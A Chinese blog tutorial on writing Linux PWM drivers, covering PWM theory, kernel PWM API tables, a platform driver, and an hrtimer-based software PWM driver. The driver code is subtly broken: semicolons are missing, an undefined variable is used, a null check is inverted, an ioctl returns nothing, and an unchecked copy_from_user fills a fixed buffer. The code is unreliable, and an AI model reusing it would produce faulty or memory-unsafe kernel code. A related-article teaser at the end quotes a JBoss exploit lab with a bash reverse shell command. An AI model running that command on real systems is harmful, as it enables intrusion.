Linux下的PWM驱动

news2024/9/20 23:07:32

PWM


PWM简介⭕

**PWM(Pulse Width Modulation,脉冲宽度调制)**是一种利用微处理器的数字输出对模拟电路进行控制的技术。通过改变脉冲的占空比,可以控制模拟电路的输出电压或电流。PWM技术广泛应用于电机控制、灯光调节、音频信号生成等领域。

PWM频率和占空比⭕

周期:PWM信号的重复周期,即一个PWM信号从高电平到低电平再到高电平的时间间隔。

频率:PWM信号的重复频率,即每秒钟PWM信号的重复次数。频率与周期成反比,频率 = 1 / 周期。

占空比:PWM信号的脉冲宽度与周期的比值,即高电平时间占整个周期的比例。占空比可以取0到1之间的任意值。

PWM的应用⭕

面积等效原理:
冲量相等而形状不同的窄宽脉冲加在具有惯性的环节上,其效果基本相同

  1. 冲量相等而形状不同是指面积相等
  2. 惯性环节在电路和系统分析中,当输入信号发生变化时,其输出不会立即跟随变化,而是需要经过一段时间后才能逐渐达到新的稳态值。

通俗的说:电压不同,时间不同的俩个信号,当他们的电压和时间的乘积相等的时候,输出的波形信号是相同的

alt text

pwm的子系统框架图

1723971810701

两种驱动方法:

  1. 直接在应用层操作sys/class/pwm
  2. 编写驱动程序后在应用层调用

PWM驱动编写:⭕

Linux内描述一个PWM控制器的结构体:

struct pwm_chip {
	struct device *dev;
	const struct pwm_ops *ops;
	int base;
	unsigned int npwm;

	struct pwm_device * (*of_xlate)(struct pwm_chip *pc,
					const struct of_phandle_args *args);
	unsigned int of_pwm_n_cells;

	/* only used internally by the PWM framework */
	struct list_head list;
	struct pwm_device *pwms;

	ANDROID_KABI_RESERVE(1);
};

PWM常有API:

  1. pwm_config函数
int pwm_config(struct pwm_device *pwm, int duty_ns, int period_ns) //改变pwm配置
参数作用
*pwmpwm_device
duty_ns占空比
period_ns周期

成功返回0,失败返回负数

  1. pwm_set_polarity函数
int pwm_set_polarity(struct pwm_device *pwm, enum pwm_polarity polarity) //设置pwm极性
参数作用
*pwmpwm_device
polaritypwm极性

成功返回0,失败返回负数

  1. pwm_enable函数
int pwm_enable(struct pwm_device *pwm) //使能pwm
参数作用
*pwmpwm_device

成功返回0,失败返回负数

  1. pwm_disable函数
int pwm_disable(struct pwm_device *pwm) //禁止pwm
参数作用
*pwmpwm_device

成功返回0,失败返回负数

  1. pwm_request函数
struct pwm_device *pwm_request(int pwm, const char *label) //申请pwm
参数作用
pwmpwm号
labelpwm标签

成功返回pwm_device,失败返回NULL

  1. pwm_free函数
void pwm_free(struct pwm_device *pwm) //释放pwm
参数作用
*pwmpwm_device

无返回

  1. devm_pwm_get函数
int devm_pwm_get(struct device *dev, const char *con_id)//获取PWM设备句柄
参数作用
*dev设备
con_idpwm标签

成功返回pwm_device句柄,失败返回负数

driver层的使用:⭕

使用platform_driver的实现驱动注册,匹配设备树节点即可。

#include <linux/of.h>
#include <linux/of_gpio.h>
#include <linux/module.h>
#include <linux/platform_device.h>
#include <linux/gpio.h>
#include <linux/delay.h>
#include <linux/pwm.h>

struct pwm_device *pwm_dev;

dev_t dev_num; // 设备号

static int major = 0; /* 主设备号, 0 表示由系统分配 */

struct class *class; // 类和对象

static int pwm_driver_open(struct inode *, struct file *)
{

    pwm_config(pwm_dev, 500000, 2000000);           // 周期2000000ns,占空比500000ns
    pwm_set_polarity(pwm_dev, PWM_POLARITY_NORMAL); // 设置极性
    pwm_enable(pwm_dev);                            // 启动PWM
    return 0;
}
static int pwm_driver_release(struct inode *, struct file *)
{

    pwm_free(pwm_dev);
    return 0;
}

static struct file_operations pwm_fops = {
    .owner = THIS_MODULE,
    .open = pwm_driver_open,
    .release = pwm_driver_release};

static int pwm_driver_probe(struct platform_device *pdev)
{
    int ret = 0;
    pwm_dev = devm_of_pwm_get(&pdev->dev, dev->dev.of_node, NULL);
    if (IS_ERR(pwm_dev))
    {
        printk("get pwm device failed\n");
        return -1;
    }
    // 添加字符设备节点

    int err;
    major = register_chrdev(0, "hello", &pwm_fops);
    class = class_create(THIS_MODULE, "hello_class");
    err = PTR_ERR(class);
    if (IS_ERR(class))
    {
        printk("%s %s line %d\n", __FILE__, __FUNCTION__, __LINE__);
        unregister_chrdev(major, "hello");
        return -1;
    }
    device_create(class, NULL, MKDEV(major, 0), NULL, "hello"); /* 设备节点/dev/hello创建 */
    return 0;
}

static int pwm_remove(struct platform_device *pdev)
{
    unregister_chrdev(major, "hello");
    class_destroy(class);
    if (!pwm_dev)
    {
        pwm_free(pwm_dev);
    }
    return 0;
}

static const struct of_device_id pwm_of_match[] = {
    {.compatible = "pwm_test"},
    {},
};
MODULE_DEVICE_TABLE(of, pwm_of_match);

static struct platform_driver pwm_driver = {
    .driver = {
        .name = "pwm_test",
        .of_match_table = pwm_of_match,
    },
    .probe = pwm_driver_probe,
    .remove = pwm_remove,
};

static int __init pwm_init(void)
{
    return platform_driver_register(&pwm_driver);
}

static void __exit pwm_exit(void)
{
    platform_driver_unregister(&pwm_driver);
}
module_init(pwm_init);
module_exit(pwm_exit);
MODULE_LICENSE("GPL");

模拟PWM

使用模拟PWM,即使用定时器来模拟PWM信号。给GPIO配置为输出模式,然后通过定时器来控制GPIO的电平变化,从而实现PWM信号的产生。
1725775680191
配置设备树,指定一个LED的GPIO引脚

led {
    compatible = "gpio-led";
    gpios = <&gpio0 9 GPIO_ACTIVE_LOW>;
};

在驱动中,通过与设备树probe获取GPIO引脚,然后配置为输出模式,并使用定时器来控制GPIO的电平变化,从而实现PWM信号的产生。

高精度定时器

普通定时器的时钟频率可以设置在 100Hz 到 1000Hz 之间,所以精度只能限制在毫秒级别。所以无法满足精度较高的场景当中,为此 Linux 提供了高精度定时器,可以提供纳秒级别的精度。

struct hrtimer结构体

// include/linux/hrtimer.h高精度定时器
struct hrtimer {
	struct timerqueue_node		node;
	ktime_t				_softexpires;//定时时间
	enum hrtimer_restart		(*function)(struct hrtimer *);//超时服务函数
	struct hrtimer_clock_base	*base;
	u8				state;
	u8				is_rel;
	u8				is_soft;
	u8				is_hard;

	ANDROID_KABI_RESERVE(1);
};
// include/linux/timer.h普通定时器
struct timer_list {
	struct list_head entry;
	unsigned long expires; //定时时间
	void (*function)(unsigned long);//超时服务函数
	unsigned long data;
	unsigned int flags;
	int slack;
};

hrtimer_init函数

//初始化一个定时器
void hrtimer_init(struct hrtimer *timer, clockid_t which_clock,
			enum hrtimer_mode mode);
参数作用
timer要初始化的定时器
which_clock定时器所使用的时钟类型,比如 CLOCK_REALTIME、CLOCK_MONOTONIC 等
hrtimer_mode定时器模式,比如 HRTIMER_MODE_REL、HRTIMER_MODE_ABS 等

ktime_set函数

//设置定时时间
ktime_t ktime_set(const <error-type> secs, const unsigned long nsecs);
参数作用
secs
nsecs纳秒

hrtimer_start函数

//启动定时器
int hrtimer_start(struct hrtimer *timer, ktime_t time, const enum hrtimer_mode mode);
参数作用
timer要启动的定时器
time定时时间
mode定时器模式

hrtimer_forward函数

//定时器延时
void hrtimer_forward(struct hrtimer *timer, ktime_t now, ktime_t interval);
参数作用
timer要延时的定时器
now当前时间
interval延时时间

hrtimer_cancel函数

//取消定时器
int hrtimer_cancel(struct hrtimer *timer);
参数作用
timer要取消的定时器

Source_code

#include <linux/of.h>
#include <linux/of_gpio.h>
#include <linux/module.h>
#include <linux/platform_device.h>
#include <linux/gpio.h>
#include <linux/delay.h>
#include <linux/pwm.h>

struct pwm_data{
    int sum_conut; // 总计数
    int high_count; // 高电平计数
    struct gpio_desc *gpio; // GPIO
    struct hrtimer pwm_timer; // 定时器
    int time; // 定时时间
};
struct pwm_data *data;
struct pwm_device *pwm_dev;

dev_t dev_num; // 设备号

static int major = 0; /* 主设备号, 0 表示由系统分配 */

struct class *class; // 类和对象
enum hrtimer_restart pwm_timer_func(struct hrtimer *timer){
     //container_of 宏来从一个结构体成员的指针中获取包含它的结构体指针
     /*
        timer 是指向 pwm_timer 成员的指针。
        struct pwm_data 是包含 pwm_timer 成员的结构体类型。
        pwm_timer 是 struct pwm_data 结构体中的一个成员。
     */
    static int timer_count = 0;
    struct pwm_data *mydata = container_of(timer, struct pwm_data, pwm_timer); 

    if(timer_count == mydata->sum_conut){
        gpiod_set_value(mydata->gpio, 1);
        timer_count = 0;
    }

    if(timer_count == mydata->high_count){
        gpiod_set_value(mydata->gpio, 0);
    }

    timer_count++

    if(mydata->high_count == 0){
        timer_count = 0;
    }

    hrtimer_forward(timer, timer->_softexpires, mydata->time); // 定时器重新启动, 调整定时器的到期时间为当前时间加上mydata->time
    return HRTIMER_RESTART; // 重启定时器
}
static int pwm_driver_open(struct inode *, struct file *)
{

 
    return 0;
}
static int pwm_driver_release(struct inode *, struct file *)
{

   
    return 0;
}
static long pwm_driver_ioctl(struct file *file, unsigned int cmd, unsigned long arg){

}
static ssize_t pwm_driver_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos){
    int ret = 0;
    int kbuf[2];
    ret = copy_from_user(kbuf, buf, count);
    data->sum_conut = kbuf[0]; //总计数,周期
    data->high_count = kbuf[1];//高电平计数,占空比
    return ret;
}
static struct file_operations pwm_fops = {
    .owner = THIS_MODULE,
    .open = pwm_driver_open,
    .release = pwm_driver_release,
    .unlocked_ioctl = pwm_driver_ioctl,
    .write = pwm_driver_write,
};

static int pwm_driver_probe(struct platform_device *pdev)
{
    data = kmalloc(sizeof(struct pwm_data), GFP_KERNEL);
    data->sum_conut = 20;
    data->high_count = 10;
    // 添加字符设备节点
    int err;
    major = register_chrdev(0, "hello", &pwm_fops);
    class = class_create(THIS_MODULE, "hello_class");
    err = PTR_ERR(class);
    if (IS_ERR(class))
    {
        printk("%s %s line %d\n", __FILE__, __FUNCTION__, __LINE__);
        unregister_chrdev(major, "hello");
        return -1;
    }
    device_create(class, NULL, MKDEV(major, 0), NULL, "hello"); /* 设备节点/dev/hello创建 */

    data->gpio = gpiod_get(&pdev->dev,"gpio-led",GPIOF_OUT_INIT_HIGH) //获取GPIO
    gpiod_set_value(data->gpio, 1);//设置GPIO高电平

    data->time = ktime_set(0,1000000); //定时器时间1ms,返回总时间
    hrtimer_init(&data->pwm_timer, CLOCK_MONOTONIC, HRTIMER_MODE_REL);//初始化定时器,CLOCK_MONOTONIC表示定时器从系统启动开始计时,HRTIMER_MODE_REL表示定时器从当前时间开始计时
    data->pwm_timer.function = pwm_timer_func;//定时器回调函数
    hrtimer_start(&data->pwm_timer, data->time, HRTIMER_MODE_REL);//启动定时器

    return 0;
}

static int pwm_remove(struct platform_device *pdev)
{


    return 0;
}

static const struct of_device_id pwm_of_match[] = {
    {.compatible = "pwm_test"},
    {},
};
MODULE_DEVICE_TABLE(of, pwm_of_match);

static struct platform_driver pwm_driver = {
    .driver = {
        .name = "pwm_test",
        .of_match_table = pwm_of_match,
    },
    .probe = pwm_driver_probe,
    .remove = pwm_remove,
};

static int __init pwm_init(void)
{
    return platform_driver_register(&pwm_driver);
}

static void __exit pwm_exit(void)
{
    hrtimer_cancel(&data->pwm_timer);
    kfree(data);
    platform_driver_unregister(&pwm_driver);
    
    device_destroy(class, MKDEV(major, 0));
	class_destroy(class);
	unregister_chrdev(major, "hello");

}
module_init(pwm_init);
module_exit(pwm_exit);
MODULE_LICENSE("GPL");


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2115579.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

一份热乎的数据分析(数仓)面试题 | 每天一点点,收获不止一点

目录 1. 已有ods层⽤⼾表为ods_online.user_info&#xff0c;有两个字段userid和age&#xff0c;现设计数仓⽤⼾表结构如 下&#xff1a; 2. 设计数据仓库的保单表&#xff08;⾃⾏命名&#xff09; 3. 根据上述两表&#xff0c;查询2024年8⽉份&#xff0c;每⽇&#xff0c…

【反射知识点详解】

Java中的反射&#xff08;Reflection&#xff09;是一个非常强大的机制&#xff0c;它允许程序在运行时检查或修改类的行为。这种能力主要通过java.lang.reflect包中的类和接口来实现。 通过反射&#xff0c;Java程序可以动态地创建对象、调用方法、访问字段&#xff0c;以及获…

JS_分支结构

if结构 这里的if结构几乎和JAVA中的一样,需要注意的是 if()中的非空字符串会被认为是trueif()中的非零数字会被认为是trueif()中的非空对象会被认为是true <script> if(false){// 非空字符串 if判断为true console.log(true) }else{ console.log(false) } if(){// 长度…

统计进程的CPU和内存占用(最大,均值,90分位)

本文先通过top采集所有进程的CPU和内存情况并保存到文件&#xff0c;然后提取指定进程的数据&#xff0c;最后通过 python 对采集的数据进行可视化。 一、使用脚本采集top数据 1. 单次top输出如下 2. 编写脚本每隔1秒采集一次top数据保存到文件 #!/bin/bash# 按照年月日十分…

非线性建模问题的线性化思考

很长时间没有提笔写博&#xff0c;近两年来一直从事规划领域方面的研究&#xff0c;在熟悉业务的同时&#xff0c;对规划算法也有了新的看法。相比智能算法的概率性&#xff0c;规划算法对求解的精确性要求更高。 本篇博客将围绕非线性问题如何线性化典型问题&#xff0c;分类归…

协同过滤算法相关答辩问题、代码实现过程

我 | 在这里 ⭐ 全栈开发攻城狮、全网10W粉丝、2022博客之星后端领域Top1、专家博主。 &#x1f393;擅长 指导毕设 | 论文指导 | 系统开发 | 毕业答辩 | 系统讲解等。已指导60位同学顺利毕业 ✈️个人公众号&#xff1a;热爱技术的小郑。回复 Java全套视频教程 或 前端全套视频…

大学新生的学习秘诀:如何学习编程?(文末赠书)

1.为什么要学习编程 大学生学习编程不仅关乎个人技能的提升&#xff0c;还涉及到未来的职业发展、创新能力培养以及适应快速变化的社会需求。 (1)增强就业竞争力 当今数字化时代&#xff0c;编程技能已成为许多行业的必备技能。掌握编程能够让你在求职市场上脱颖而出&#x…

Vulhub Apache Airflow (CVE-2020-11978)

来到目录下初始化数据库 然后开启环境 查看端口访问 访问http://your-ip:8080进入airflow管理端&#xff0c;将example_trigger_target_dag前面的Off改为On&#xff1a; 再点击执行按钮&#xff0c;在Configuration JSON中输入&#xff1a;{"message":"\";…

SwiftUI 中如何花样玩转 SF Symbols 符号动画和过渡特效

概述 作为 Apple 开发中的全栈秃头老码农们&#xff0c;我们不但需要精通代码编写更需要有过硬的界面设计艺术功底。为了解决撸码与撸图严重脱节这一窘境&#xff0c;苹果从 iOS 13&#xff08;macOS 11&#xff09;开始引入了 SF Symbols 字符图形。 有了 SF Symbols&#xf…

【 html+css 绚丽Loading 】000043 太一玄元镜

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享htmlcss 绚丽Loading&#xff01;并提供具体代码帮助大家深入理解&#xff0c;彻底掌握&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495…

ANSA联合ABAQS基于梁单元的螺栓预紧力分析实例

1、在螺栓孔之间创建一个模拟螺栓 ABAQUS界面→AUXILIARIES→bolt→分鳖选择上下两圈节点,这样在螺栓孔中间就会生成一个梁单元。 中键确定,因为螺杆使用的是变形体,所以接下来需要为其创建一个属性: 单击ok,完成虚拟螺栓的创建,该螺栓两端是刚性MPC,中间是弹性的梁单元…

Jboss远程代码执行漏洞(CVE-2017-12149)

还是先开启环境 浏览器访问跟上一个一模一样页面 还是用ysoserial.jar工具 然后准备好反弹shell的命令&#xff0c;需要对其进行base64加密 //反弹shell命令&#xff0c;注意替换为自己的 bash -i >& /dev/tcp/192.168.75.162/6666 0>&1 //base64加密 YmFzaCAt…

git:分支管理

目录 一、分支概念 二、创建分支 三、切换分支 四、合并分支 五、删除分支 六、合并冲突 七、分支管理策略 八、分支策略 九、bug分支 十、强制删除分支 一、分支概念 在版本回退里&#xff0c;每次提交&#xff0c;git都把它们串成一条时间线&#xff0c;这条时间线可以…

基于51单片机的倒计时定时器proteus仿真

地址&#xff1a; https://pan.baidu.com/s/1_Ig_S0KKrba9VAjovDW71g 提取码&#xff1a;1234 仿真图&#xff1a; 芯片/模块的特点&#xff1a; AT89C52/AT89C51简介&#xff1a; AT89C52/AT89C51是一款经典的8位单片机&#xff0c;是意法半导体&#xff08;STMicroelectr…

【Hot100】LeetCode—215. 数组中的第K个最大元素

目录 1- 思路快速选择 2- 实现⭐215. 数组中的第K个最大元素——题解思路 3- ACM实现 原题连接&#xff1a;215. 数组中的第K个最大元素 1- 思路 快速选择 第 k 大的元素的数组下标&#xff1a; int target nums.length - k 1- 根据 partition 分割的区间来判断当前处理方式…

Spring表达式语言(SPEL)(05)

表达式模板 表达式模板允许将文字文本与一个或多个评估块混合。每个评估块都由前缀和后缀字符分隔&#xff0c;默认是#{}。支持实现接口ParserContext自定义前后缀。调用parseExpression()时指定 ParserContext参数如&#xff1a;new TemplateParserContext()&#xff0c;#{}包…

还不会剪音乐?试试这四款在线音频剪辑

音频剪辑很多人都没有接触过。其实这并不是一个难事&#xff0c;我们甚至可以用一些简单的工具来给自己做个简单的BGM&#xff0c;最近我尝试了几款不同的音频剪辑工具。今天就来跟大家分享一下我的使用体验&#xff0c;看看哪款工具更适合你的需求。 一、福昕音频剪辑 网址&…

通信工程学习:什么是FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用

FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用 FDM频分复用、TDM时分复用、WDM波分复用、CDM码分复用是通信领域中常见的四种复用技术&#xff0c;它们各自具有不同的特点和应用场景。以下是对这四种复用技术的详细解释&#xff1a; 一、FDM频分复用&#xff08;Frequ…

AIGC6: 走进腾讯数字盛会

图中是一个程序员&#xff0c;去参加一个技术盛会。AI大潮下&#xff0c;五颜六色&#xff0c;各种不确定。 背景 AI对各行各业的冲击越来越大&#xff0c;身处职场的我也能清晰的感受到。 我所在的行业为全球客服外包行业。 业务模式为&#xff1a; 为国际跨境公司提供不同…

强推!创新直发核心!时序分解+优化组合+模型对比!VMD-SSA-Transformer-BiLSTM多变量时间序列预测

强推&#xff01;创新直发核心&#xff01;时序分解优化组合模型对比&#xff01;VMD-SSA-Transformer-BiLSTM多变量时间序列预测 目录 强推&#xff01;创新直发核心&#xff01;时序分解优化组合模型对比&#xff01;VMD-SSA-Transformer-BiLSTM多变量时间序列预测效果一览基…